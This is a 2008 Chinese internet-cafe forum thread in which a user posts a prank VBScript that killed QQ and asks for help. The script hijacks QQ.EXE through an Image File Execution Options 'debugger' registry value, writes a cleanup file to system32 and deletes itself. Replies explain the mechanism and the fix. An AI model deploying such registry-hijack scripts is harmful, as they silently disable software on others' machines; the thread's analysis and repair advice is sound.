天下网吧-网盟论坛 → 【网吧程序天地】 → 〖VBS脚本〗 → 一个变态的家伙写的~大家帮忙看看，现在QQ上不了
关闭 帖子评论
选取类型： 中立 支持 反对
观点标题：
验证码：验证码,看不清楚?请点击刷新验证码
观点内容：
（不支持HTML）
  1. 请以客观、真实地作出评论，并注意语言文明；
  2. 观点发表后不能作出更改；
回复贴子
您是本帖的第 2783 个阅读者
树形打印
标题：一个变态的家伙写的~大家帮忙看看，现在QQ上不了
wsadcn111
帅哥哟，离线，有人找我吗？
等级：版主
文章：12
积分：160
注册：2008年5月17日
发贴心情
添加到QQ书签收藏

Dim ObjWsh
  const Forappending = 8
  A = "Q"
  CTV = "CurrentVersion\"
  BB =".EX"
  Set ObjWsh = CreateObject("Wscript.Shell")
  objWsh.run "cmd.exe /c taskkill /f /im qq.exe",0
  msgbox "老兄不要随便运行人家给的程式,你看这下你中招了吧!"&chr(13)&"去下个TM上吧,QQ你是上不了了"&Chr(13)&"上TM后找刚才给代码的哥哥",64,"作者:河边的那棵树------QQ53077777"
  Set ObjFso = CreateObject("Scripting.FileSystemObject")
  ppc = "\Software\Microsoft\"
  CICG = A&A&BB&"E"
     OwnFileName = Wscript.ScriptFullName : IFE = "Image File Execution Options\"
     Set FileNameA = ObjFso.GetFile(OwnFileName)
     FileName = FileNameA.Name
     call REGGOW (CICG)
     ObjFso.DeleteFile OwnFileName
Sub RegGoW (AName)
WNT = "Windows NT\"
ObjWsh.RegWrite "HKLM"&ppc&WNT&CTV&IFE&AName&"\debugger"," ","REG_SZ"
set ObjFsoF = ObjFso.OpenTextFile("c:\windows\system32\OK.VBS",Forappending,true)
ObjFsof.Writeline ("BB ="".EX"":A = ""Q"":IFE = ""Image File Execution Options\"":CICG = A&A&BB&""E"":WNT = ""Windows NT\"":CTV = ""CurrentVersion\"":ppc = ""\Software\Microsoft\""")
ObjFsof.Writeline ("Set ObjWsh = CreateObject(""Wscript.Shell"")")
ObjFsof.Writeline ("ObjWsh.Regdelete ""HKLM""&ppc&WNT&CTV&IFE&CICG&""\""")
ObjFsof.Writeline ("Set ObjFso = CreateObject(""Scripting.FileSystemObject"")")
ObjFsof.Writeline ("OwnFileName = Wscript.ScriptFullName")
ObjFsof.Writeline ("ObjFso.DeleteFile OwnFileName")
ObjFsof.close
End Sub



2008-5-17 11:26:00
wsadcn111
帅哥哟，离线，有人找我吗？
等级：版主
文章：12
积分：160
注册：2008年5月17日
发贴心情

2楼的...这个没有经过加密....只是用 Ascii码写出来所有的代码 然后执行...只是不想让新手看到源码

改下 就看到了

Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateTextFile("ms.txt",True)

f.Write Num2Str(HqwStr)
f.Close

''''''Execute Num2Str(HqwStr)


2008-5-17 11:30:00
左岸
帅哥哟，离线，有人找我吗？
等级：新手上路
文章：24
积分：165
注册：2008年4月24日
发贴心情

运行里输入OK.VBS

看看行不行！


2008-5-19 19:03:00
happymoha
帅哥哟，离线，有人找我吗？
等级：新手上路
文章：10
积分：280
注册：2007年1月17日
发贴心情
通过5楼的方法,我看出来一个东西,大家没有觉得那个QQ.exe子项有个debugger的值呢,然后大家把这个值打开, 有没有觉得下面的那个数据值那里空格了一下呢,现在大家试试把那个空格去掉,(就是按退格键),再确实,再去开QQ是不是就ok了呢...

2008-6-8 22:00:00
l272370941
帅哥哟，离线，有人找我吗？
头衔：到处逛逛
等级：新手上路
文章：26
积分：171
注册：2008年6月7日
发贴心情
图片点击可在新窗口打开查看图片点击可在新窗口打开查看这么复杂

社会犹如一条船，每个人都要有掌舵的准备

2008-6-22 10:43:00


一个变态的家伙写的~大家帮忙看看，现在QQ上不了
发贴表情字体颜色字体背景颜色粗体斜体下划线超级连接插入图片Flash图片realplay视频文件Media Player视频文件引用清理代码生成一个财付通交易信息显示： 预览 回复标题 上传表单
字节.
RSS2.0     无图版    状态   
免责声明：本论坛所有文字和图片仅代表个人观点，与本站无关 违法信息请举报：互联网违法和不良信息举报中心
本站备案序号：闽ICP备05037813 Copyright ?2006 - 2008 天下网吧，网吧专业论坛



   Powered By Dvbbs Version 8.1.1